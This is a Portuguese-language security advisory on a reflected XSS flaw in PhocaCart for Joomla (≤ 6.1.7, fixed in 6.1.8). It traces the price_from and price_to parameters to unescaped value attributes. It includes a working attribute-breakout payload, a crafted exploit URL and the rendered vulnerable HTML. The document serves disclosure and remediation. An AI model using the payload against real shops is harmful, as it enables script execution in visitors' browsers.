
XSS Refletido através dos Parâmetros de Filtro price_from & price_to no PhocaCart
PhocaCart ≤ 6.1.7 — Atacante não autenticado injeta JavaScript arbitrário via URL de filtro de preço manipulada
O PhocaCart 6.1.7 para Joomla é vulnerável a Cross-Site Scripting (XSS) Refletido via parâmetros GET price_from e price_to quando o módulo mod_phocacart_filter está instalado e publicado. Os parâmetros são processados usando o filtro de entrada 'string' do Joomla, que aplica apenas strip_tags() — não aplica . Os valores brutos são ecoados diretamente em atributos HTML no formulário de filtro de preço renderizado pelo módulo .
htmlspecialchars()value=""mod_phocacart_filterUm atacante entrega uma URL manipulada à vítima. Quando a vítima carrega a página, o manipulador de eventos injetado é executado no navegador dela. Não é necessária autenticação. O ataque exige que mod_phocacart_filter (um módulo distribuído separadamente) esteja instalado e publicado.
| COMPONENT | VULNERABLE | TESTED ON | FIXED |
|---|---|---|---|
| PhocaCart (com_phocacart) + mod_phocacart_filter | ≤ 6.1.7 | Joomla 5.4.7 + PhocaCart 6.1.7 + mod_phocacart_filter 6.1.6 | 6.1.8 |
Tipo: XSS Refletido (CWE-79)
Autenticação necessária: Nenhuma — frontend público da loja
Token CSRF necessário: Não (requisição GET)
Arquivo sink: site/layouts/form_filter_horizontal_text.php:65,71
O filtro de entrada 'string' do Joomla chama strip_tags() — ele remove tags HTML, mas deixa caracteres especiais HTML como ", ' e > sem codificação. Os parâmetros GET price_from e price_to são obtidos com esse filtro e armazenados em $data['getparams']. Os arquivos de template ecoam esses valores diretamente em atributos value="" sem chamar htmlspecialchars(), permitindo injeção no contexto de atributo.
Fluxo de dados — origem até o sink:
GET ?price_from=" onmouseover="alert(document.domain)
filter.php:831 $app->getInput()->get('price_from', '', 'string')
└─ Joomla 'string' filter = strip_tags() only
strip_tags('" onmouseover="alert(1)') → '" onmouseover="alert(1)' [unchanged!]
filter.php:494 $inA[] = $v // no encoding
└─ $data['getparams'] = ['" onmouseover="alert(document.domain)']
form_filter_horizontal_text.php:65:
└─ <input type="text" value="<?php echo $d['getparams'][0]; ?>" /> // → NO htmlspecialchars()
→ Renders: value="" onmouseover="alert(document.domain)"
→ XSS fires on mouseover
FORM_FILTER_HORIZONTAL_TEXT.PHP:65 — SINK VULNERÁVEL
<input type="text" class="form-control" name="pricefrom"
value="<?php echo $d['getparams'][0]; ?>" <!-- NO htmlspecialchars() -->
id="phPriceFrom..." />
O mesmo padrão de sink também existe em form_filter_text.php:81,87 (variante de layout vertical). Ambos os parâmetros price_from e price_to são igualmente vulneráveis.
O atacante constrói uma URL direcionada à visão de itens da loja com uma carga (payload) de manipulador de eventos injetada no parâmetro price_from. A carga sai do contexto do atributo value="".
Payload (raw): " autofocus onfocus="alert(document.domain)
URL-encoded: %22%20autofocus%20onfocus%3D%22alert(document.domain)
Crafted URL:
http://TARGET/index.php?option=com_phocacart&view=items
&price_from=%22%20autofocus%20onfocus%3D%22alert(document.domain)
Quando a vítima abre a URL manipulada, a página de itens da loja renderiza o formulário de filtro de preço. Os atributos injetados estão presentes no elemento <input>. Com a carga autofocus onfocus, o JavaScript é executado imediatamente ao carregar a página, sem qualquer interação adicional do usuário.
HTML renderizado (vulnerável):
<input type="text" class="form-control" name="pricefrom"
value="" autofocus onfocus="alert(document.domain)"
id="phPriceFromTopricefrom" />

O XSS é acionado no navegador da vítima — alert(document.domain) confirma o contexto de execução no frontend da loja